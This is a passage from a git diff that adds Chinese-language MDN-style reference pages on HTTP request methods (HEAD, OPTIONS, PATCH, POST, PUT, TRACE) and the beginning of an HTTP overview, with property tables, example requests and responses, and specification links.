<td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("安全")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("幂等")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("可缓存")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 表单</a> 是否支持</th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">HEAD /index.html +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "HEAD", "4.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.HEAD")}}</p> + +<h2 id="另见">?另见</h2> + +<ul> + <li>{{HTTPMethod("GET")}}</li> +</ul> diff --git a/files/zh-cn/web/http/methods/index.html b/files/zh-cn/web/http/methods/index.html new file mode 100644 index 0000000000..6f926a633d --- /dev/null +++ b/files/zh-cn/web/http/methods/index.html @@ -0,0 +1,71 @@ +--- +title: HTTP 请求方法 +slug: Web/HTTP/Methods +tags: + - Browser support for JavaScript APIs + - HTTP + - 'HTTP Methods: GET vs. POST' + - Methods + - Reference + - Safe and Idempotent Methods + - methods for HTTP/1.1 + - '词汇表:幂等 可缓存' +translation_of: Web/HTTP/Methods +--- +<p>{{HTTPSidebar}}</p> + +<p>HTTP 定义了一组<strong>请求方法</strong>, 以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作. 虽然他们也可以是名词, 但这些请求方法有时被称为HTTP动词. 每一个请求方法都实现了不同的语义, 但一些共同的特征由一组共享:: 例如一个请求方法可以是 {{glossary("safe")}}, {{glossary("idempotent")}}, 或 {{glossary("cacheable")}}.</p> + +<dl> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code></dt> + <dd>GET方法请求一个指定资源的表示形式. 使用GET的请求应该只被用于获取数据.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt> + <dd>HEAD方法请求一个与GET请求的响应相同的响应,但没有响应体.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/POST">POST</a></code></dt> + <dd>POST方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用. </dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt> + <dd>PUT方法用请求有效载荷替换目标资源的所有当前表示。</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt> + <dd>DELETE方法删除指定的资源。</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt> + <dd>CONNECT方法建立一个到由目标资源标识的服务器的隧道。</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt> + <dd>OPTIONS方法用于描述目标资源的通信选项。</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt> + <dd>TRACE方法沿着到目标资源的路径执行一个消息环回测试。</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt> + <dd>PATCH方法用于对资源应用部分修改。</dd> + <dt> + <h2 id="规范">规范</h2> + + <table> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + <th scope="col">注解</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH Method for HTTP</td> + <td>Specifies PATCH.</td> + </tr> + </tbody> + </table> + </dt> +</dl> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a></li> +</ul> diff --git a/files/zh-cn/web/http/methods/options/index.html b/files/zh-cn/web/http/methods/options/index.html new file mode 100644 index 0000000000..3537e8e1c3 --- /dev/null +++ b/files/zh-cn/web/http/methods/options/index.html @@ -0,0 +1,122 @@ +--- +title: OPTIONS +slug: Web/HTTP/Methods/OPTIONS +translation_of: Web/HTTP/Methods/OPTIONS +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP 的 <code>OPTIONS 方法</code></strong> 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法,也可以对整站(通过将 URL 设置为“*”)使用该方法。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in HTML forms</th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">OPTIONS /index.html HTTP/1.1 +OPTIONS * HTTP/1.1 +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="检测服务器所支持的请求方法">检测服务器所支持的请求方法</h3> + +<p>可以使用 OPTIONS 方法对服务器发起请求,以检测服务器支持哪些 HTTP 方法:</p> + +<pre class="notranslate">curl -X OPTIONS http://example.org -i</pre> + +<p>响应报文包含一个 {{HTTPHeader("Allow")}} 首部字段,该字段的值表明了服务器支持的所有 HTTP 方法:</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Allow: OPTIONS, GET, HEAD, POST +Cache-Control: max-age=604800 +Date: Thu, 13 Oct 2016 11:45:00 GMT +Expires: Thu, 20 Oct 2016 11:45:00 GMT +Server: EOS (lax004/2813) +x-ec-custom-error: 1 +Content-Length: 0 +</pre> + +<h3 id="CORS_中的预检请求">CORS 中的预检请求</h3> + +<p>在 <a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">CORS</a> 中,可以使用 OPTIONS 方法发起一个预检请求,以检测实际请求是否可以被服务器所接受。预检请求报文中的 {{HTTPHeader("Access-Control-Request-Method")}} 首部字段告知服务器实际请求所使用的 HTTP 方法;{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段告知服务器实际请求所携带的自定义首部字段。服务器基于从预检请求获得的信息来判断,是否接受接下来的实际请求。</p> + +<pre class="notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<p>服务器所返回的 {{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段将所有允许的请求方法告知客户端。该首部字段与 {{HTTPHeader("Allow")}} 类似,但只能用于涉及到 CORS 的场景中。</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/methods", "OPTIONS")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Allow")}} header</li> + <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">CORS</a></li> +</ul> diff --git a/files/zh-cn/web/http/methods/patch/index.html b/files/zh-cn/web/http/methods/patch/index.html new file mode 100644 index 0000000000..a86b50d0f1 --- /dev/null +++ b/files/zh-cn/web/http/methods/patch/index.html @@ -0,0 +1,97 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +tags: + - HTTP + - HTTP method + - HTTP方法 + - 参考 + - 请求方法 +translation_of: Web/HTTP/Methods/PATCH +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,请求方法 <strong>PATCH </strong> 用于对资源进行部分修改。</p> + +<p>在HTTP协议中, {{HTTPMethod("PUT")}} 方法已经被用来表示对资源进行整体覆盖, 而 {{HTTPMethod("POST")}} 方法则没有对标准的补丁格式的提供支持。不同于 <code>PUT </code>方法,而与 <code>POST </code>方法类似,<code>PATCH</code> 方法是非幂等的,这就意味着连续多个的相同请求会产生不同的效果。</p> + +<p>要判断一台服务器是否支持 <code>PATCH </code>方法,那么就看它是否将其添加到了响应首部 {{HTTPHeader("Allow")}} 或者 {{HTTPHeader("Access-Control-Allow-Methods")}} (在跨域访问的场合,CORS)的方法列表中 。</p> + +<p>另外一个支持 PATCH 方法的隐含迹象是 {{HTTPHeader("Accept-Patch")}} 首部的出现,这个首部明确了服务器端可以接受的补丁文件的格式。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="请求">请求</h3> + +<pre class="line-numbers language-html">PATCH /file.txt HTTP/1.1 +Host: www.example.com +Content-Type: application/example +If-Match: "e0023aa4e" +Content-Length: 100 + +[description of changes]</pre> + +<h3 id="响应">响应</h3> + +<p> {{HTTPStatus("204")}} 状态码表示这是一个操作成功的响应,因为响应中不带有消息主体。</p> + +<pre class="newpage">HTTP/1.1 204 No Content +Content-Location: /file.txt +ETag: "e0023aa4f"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("5789", "PATCH")}}</td> + <td>PATCH Method for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus("204")}}</li> + <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Accept-Patch")}} – 用于明确服务器端可以接受的补丁文件的格式。</li> +</ul> diff --git a/files/zh-cn/web/http/methods/post/index.html b/files/zh-cn/web/http/methods/post/index.html new file mode 100644 index 0000000000..7521f6b0ee --- /dev/null +++ b/files/zh-cn/web/http/methods/post/index.html @@ -0,0 +1,120 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - 参考 + - 请求方法 +translation_of: Web/HTTP/Methods/POST +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>POST</code> 方法</strong> 发送数据给服务器. 请求主体的类型由 {{HTTPHeader("Content-Type")}} 首部指定.</p> + +<p>PUT 和{{HTTPMethod("POST")}}方法的区别是,PUT方法是幂等的:连续调用一次或者多次的效果相同(无副作用)。连续调用同一个POST可能会带来额外的影响,比如多次提交订单。</p> + +<p>一个 <code>POST</code> 请求通常是通过 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 表单</a>发送, 并返回服务器的修改结果. 在这种情况下, content type 是通过在 <dfn>{{HTMLElement("form")}} 元素中设置正确的 {{htmlattrxref("enctype", "form")}} 属性, 或是在 {{HTMLElement("input") }} 和 {{HTMLElement("button")}} 元素中设置 {{htmlattrxref("formenctype", "input")}} 属性来选择的</dfn>:</p> + +<ul> + <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: 数据被编码成以 <code>'&'</code> 分隔的键-值对, 同时以 <code>'='</code> 分隔键和值. 非字母或数字的字符会被 </dfn>{{glossary("percent-encoding")}}<dfn>: 这也就是为什么这种类型不支持二进制数据(应使用 <code>multipart/form-data</code> 代替).</dfn></li> + <li><dfn><code>multipart/form-data</code></dfn></li> + <li><dfn><code>text/plain</code></dfn></li> +</ul> + +<p>当 POST 请求是通过除 HTML 表单之外的方式发送时, 例如使用 {{domxref("XMLHttpRequest")}}, 那么请求主体可以是任何类型.按HTTP 1.1规范中描述,POST为了以统一的方法来涵盖以下功能:</p> + +<ul> + <li>注释已有的资源</li> + <li>在公告板,新闻组,邮件列表或类似的文章组中发布消息;</li> + <li>通过注册新增用户;</li> + <li>向数据处理程序提供一批数据,例如提交一个表单;</li> + <li>通过追加操作,扩展数据库数据.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">请求是否有主体</th> + <td>是</td> + </tr> + <tr> + <th scope="row">成功的响应是否有主体</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("安全")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("幂等")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("可缓存")}}</th> + <td>Only if freshness information is included</td> + </tr> + <tr> + <th scope="row">HTML 表单是否支持</th> + <td>是</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">POST /index.html +</pre> + +<h2 id="示例">示例</h2> + +<p>使用默认的 <code>application/x-www-form-urlencoded</code> 做为 content type 的简单表单:</p> + +<pre class="line-numbers language-html">POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p>使用 <code>multipart/form-data</code> 作为 content type 的表单:</p> + +<pre>POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "POST", "4.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.POST")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> +</ul> diff --git a/files/zh-cn/web/http/methods/put/index.html b/files/zh-cn/web/http/methods/put/index.html new file mode 100644 index 0000000000..eeddfdd5c8 --- /dev/null +++ b/files/zh-cn/web/http/methods/put/index.html @@ -0,0 +1,101 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - HTTP + - HTTP method + - Request method + - put +translation_of: Web/HTTP/Methods/PUT +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP PUT 请求方法</strong>使用请求中的负载创建或者替换目标资源。</p> + +<p><code>PUT</code> 与 {{HTTPMethod("POST")}} 方法的区别在于,PUT方法是幂等的:调用一次与连续调用多次是等价的(即没有副作用),而连续调用多次POST方法可能会有副作用,比如将一个订单重复提交多次。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">PUT /new.html HTTP/1.1 +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="请求">请求</h3> + +<pre>PUT /new.html HTTP/1.1 +Host: example.com +Content-type: text/html +Content-length: 16 + +<p>New File</p></pre> + +<h3 id="应答">应答</h3> + +<p>如果目标资源不存在,并且PUT方法成功创建了一份,那么源头服务器必须返回{{HTTPStatus("201")}} (<code>Created</code>) 来通知客户端资源已创建。</p> + +<pre class="newpage">HTTP/1.1 201 Created +Content-Location: /new.html</pre> + +<p>如果目标资源已经存在,并且依照请求中封装的表现形式成功进行了更新,那么,源头服务器必须返回{{HTTPStatus("200")}} (<code>OK</code>) 或者{{HTTPStatus("204")}} (<code>No Content</code>) 来表示请求的成功完成。</p> + +<pre>HTTP/1.1 204 No Content +Content-Location: /existing.html +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "PUT", "4.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.PUT")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus("201")}}</li> + <li>{{HTTPStatus("204")}}</li> +</ul> diff --git a/files/zh-cn/web/http/methods/trace/index.html b/files/zh-cn/web/http/methods/trace/index.html new file mode 100644 index 0000000000..47f22c8da2 --- /dev/null +++ b/files/zh-cn/web/http/methods/trace/index.html @@ -0,0 +1,77 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +translation_of: Web/HTTP/Methods/TRACE +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>TRACE</code> 方法</strong> 实现沿通向目标资源的路径的消息环回(loop-back)测试 ,提供了一种实用的 debug 机制。</p> + +<p>请求的最终接收者应当原样反射(reflect)它接收到的消息,除了以下字段部分,作为一个{{httpheader("Content-Type")}} 为 <code>message/http</code> 的200(OK)响应的消息的主体(body)返回给客户端 。</p> + +<p>最终接收者是指初始(origin)服务器,或者第一个接收到 {{httpheader("Max-Forwards")}} 值为 0的请求的服务器。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">有主体(body)的请求(request)</th> + <td>否</td> + </tr> + <tr> + <th scope="row">包含主体(body)的成功的响应(response)</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">允许用于 HTML 表单(form)</th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">TRACE /index.html +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "TRACE", "4.3.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">本页内的兼容性表格是从结构化的数据中生成的。如果您想要贡献兼容性数据,请浏览 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们提 pull request 。</p> + +<p>{{Compat("http.methods.TRACE")}}</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP methods</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/web/http/overview/index.html b/files/zh-cn/web/http/overview/index.html new file mode 100644 index 0000000000..5fcecff392 --- /dev/null +++ b/files/zh-cn/web/http/overview/index.html @@ -0,0 +1,181 @@ +--- +title: HTTP概述 +slug: Web/HTTP/Overview +tags: + - HTML + - HTTP + - Web机制 + - 概览 +translation_of: Web/HTTP/Overview +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary"><strong>HTTP是一种能够获取如 HTML 这样的网络资源的 </strong>{{glossary("protocol")}}(通讯协议)。<strong>它是在 Web 上进行数据交换的基础,是一种 client-server 协议,也就是说,请求通常是由像浏览器这样的接受方发起的。一个完整的Web文档通常是由不同的子文档拼接而成的,像是文本、布局描述、图片、视频、脚本等等。</strong></p> + +<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> + +<p>客户端和服务端通过交换各自的消息(与数据流正好相反)进行交互。由像浏览器这样的客户端发出的消息叫做 <em>requests</em>,被服务端响应的消息叫做 <em>responses。</em></p> + +<p class="clear"><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">HTTP被设计于20世纪90年代初期,是一种可扩展的协议。它是应用层的协议,通过{{glossary("TCP")}},或者是{{glossary("TLS")}}-加密的TCP连接来发送,理论上任何可靠的传输协议都可以使用。因为其良好的扩展性,时至今日,它不仅被用来传输超文本文档,还用来传输图片、视频或者向服务器发送如HTML表单这样的信息。HTTP还可以根据网页需求,仅获取部分Web文档内容更新网页。</p> + +<h2 id="基于HTTP的组件系统">基于HTTP的组件系统</h2> + +<p>HTTP是一个client-server协议:请求通过一个实体被发出,实体也就是用户代理。大多数情况下,这个用户代理都是指浏览器,当然它也可能是任何东西,比如一个爬取网页生成维护搜索引擎索引的机器爬虫。</p> + +<p>每一个发送到服务器的请求,都会被服务器处理并返回一个消息,也就是<em>response。</em>在这个请求与响应之间,还有许许多多的被称为{{glossary("Proxy", "proxies")}}的实体,他们的作用与表现各不相同,比如有些是网关,还有些是{{glossary("Cache", "caches")}}等。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png" style="height: 121px; width: 819px;"></p> + +<p>实际上,在一个浏览器和处理请求的服务器之间,还有路由器、调制解调器等许多计算机。由于Web的层次设计,那些在网络层和传输层的细节都被隐藏起来了。HTTP位于最上层的应用层。虽然底层对于分析网络问题非常重要,但是大多都跟对HTTP的描述不相干。</p> + +<h3 id="客户端:user-agent">客户端:user-agent</h3> + +<p>user-agent 就是任何能够为用户发起行为的工具。这个角色通常都是由浏览器来扮演。一些例外情况,比如是工程师使用的程序,以及Web开发人员调试应用程序。</p> + +<p>浏览器<strong>总是</strong>作为发起一个请求的实体,他永远不是服务器(虽然近几年已经出现一些机制能够模拟由服务器发起的请求消息了)。</p> + +<p>要展现一个网页,浏览器首先发送一个请求来获取页面的HTML文档,再解析文档中的资源信息发送其他请求,获取可执行脚本或CSS样式来进行页面布局渲染,以及一些其它页面资源(如图片和视频等)。然后,浏览器将这些资源整合到一起,展现出一个完整的文档,也就是网页。浏览器执行的脚本可以在之后的阶段获取更多资源,并相应地更新网页。</p> + +<p>一个网页就是一个超文本文档。也就是说,有一部分显示的文本可能是链接,启动它(通常是鼠标的点击)就可以获取一个新的网页,使得用户可以控制客户端进行网上冲浪。浏览器来负责发送HTTP请求,并进一步解析HTTP返回的消息,以向用户提供明确的响应。</p> + +<h3 id="Web服务端">Web服务端</h3> + +<p>在上述通信过程的另一端,是由Web Server来<em>服务</em>并提供客户端所请求的文档。Server只是虚拟意义上代表一个机器:它可以是共享负载(负载均衡)的一组服务器组成的计算机集群,也可以是一种复杂的软件,通过向其他计算机(如缓存,数据库服务器,电子商务服务器 ...)发起请求来获取部分或全部资源。</p> + +<p>Server 不一定是一台机器,但一个机器上可以装载的众多Servers。在HTTP/1.1 和{{HTTPHeader("Host")}}头部中,它们甚至可以共享同一个IP地址。</p> + +<h3 id="代理(Proxies)">代理(Proxies)</h3> + +<p>在浏览器和服务器之间,有许多计算机和其他设备转发了HTTP消息。由于Web栈层次结构的原因,它们大多都出现在传输层、网络层和物理层上,对于HTTP应用层而言就是透明的,虽然它们可能会对应用层性能有重要影响。还有一部分是表现在应用层上的,被称为<strong>代理(Proxies)</strong>。代理(Proxies)既可以表现得透明,又可以不透明(“改变请求”会通过它们)。代理主要有如下几种作用:</p> + +<ul> + <li>缓存(可以是公开的也可以是私有的,像浏览器的缓存)</li> + <li>过滤(像反病毒扫描,家长控制...)</li> + <li>负载均衡(让多个服务器服务不同的请求)</li> + <li>认证(对不同资源进行权限管理)</li> + <li>日志记录(允许存储历史信息)</li> +</ul> + +<h2 id="HTTP_的基本性质">HTTP 的基本性质</h2> + +<h3 id="HTTP_是简单的">HTTP 是简单的</h3> + +<p>虽然下一代HTTP/2协议将HTTP消息封装到了帧(frames)中,HTTP大体上还是被设计得简单易读。HTTP报文能够被人读懂,还允许简单测试,降低了门槛,对新人很友好。</p> + +<h3 id="HTTP_是可扩展的">HTTP 是可扩展的</h3> + +<p>在 HTTP/1.0 中出现的 <a href="/zh-CN/docs/Web/HTTP/Headers">HTTP headers</a> 让协议扩展变得非常容易。只要服务端和客户端就新 headers 达成语义一致,新功能就可以被轻松加入进来。</p> + +<h3 id="HTTP_是无状态,有会话的">HTTP 是无状态,有会话的</h3> + +<p>HTTP是无状态的:在同一个连接中,两个执行成功的请求之间是没有关系的。这就带来了一个问题,用户没有办法在同一个网站中进行连续的交互,比如在一个电商网站里,用户把某个商品加入到购物车,切换一个页面后再次添加了商品,这两次添加商品的请求之间没有关联,浏览器无法知道用户最终选择了哪些商品。而使用HTTP的头部扩展,HTTP Cookies就可以解决这个问题。把Cookies添加到头部中,创建一个会话让每次请求都能共享相同的上下文信息,达成相同的状态。</p> + +<p>注意,HTTP本质是无状态的,使用Cookies可以创建有状态的会话。</p> + +<h3 id="HTTP_和连接">HTTP 和连接</h3> + +<p>一个连接是由传输层来控制的,这从根本上不属于HTTP的范围。HTTP并不需要其底层的传输层协议是面向连接的,只需要它是可靠的,或不丢失消息的(至少返回错误)。在互联网中,有两个最常用的传输层协议:TCP是可靠的,而UDP不是。因此,HTTP依赖于面向连接的TCP进行消息传递,但连接并不是必须的。</p> + +<p>在客户端(通常指浏览器)与服务器能够交互(客户端发起请求,服务器返回响应)之前,必须在这两者间建立一个 TCP 链接,打开一个 TCP 连接需要多次往返交换消息(因此耗时)。HTTP/1.0 默认为每一对 HTTP 请求/响应都打开一个单独的 TCP 连接。当需要连续发起多个请求时,这种模式比多个请求共享同一个 TCP 链接更低效。</p> + +<p>为了减轻这些缺陷,HTTP/1.1引入了流水线(被证明难以实现)和持久连接的概念:底层的TCP连接可以通过{{HTTPHeader("Connection")}}头部来被部分控制。HTTP/2则发展得更远,通过在一个连接复用消息的方式来让这个连接始终保持为暖连接。 </p> + +<p>为了更好的适合HTTP,设计一种更好传输协议的进程一直在进行。Google就研发了一种以UDP为基础,能提供更可靠更高效的传输协议<a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>。</p> + +<h2 id="HTTP_能控制什么">HTTP 能控制什么</h2> + +<p>多年以来,HTTP良好的扩展性使得越来越多的Web功能归其控制。缓存和认证很早就可以由HTTP来控制了。另一方面,对同源同域的限制到2010年才有所改变。</p> + +<p>以下是可以被HTTP控制的常见特性。</p> + +<ul> + <li><a href="/zh-CN/docs/Web/HTTP/Caching">缓存 </a><br> + 文档如何缓存能通过HTTP来控制。服务端能告诉代理和客户端哪些文档需要被缓存,缓存多久,而客户端也能够命令中间的缓存代理来忽略存储的文档。</li> + <li><em>开放同源限制</em><br> + 为了防止网络窥听和其它隐私泄漏,浏览器强制对Web网站做了分割限制。只有来自于<strong>相同来源</strong>的网页才能够获取网站的全部信息。这样的限制有时反而成了负担,HTTP可以通过修改头部来开放这样的限制,因此Web文档可以是由不同域下的信息拼接成的(某些情况下,这样做还有安全因素考虑)。</li> + <li><em>认证</em><br> + 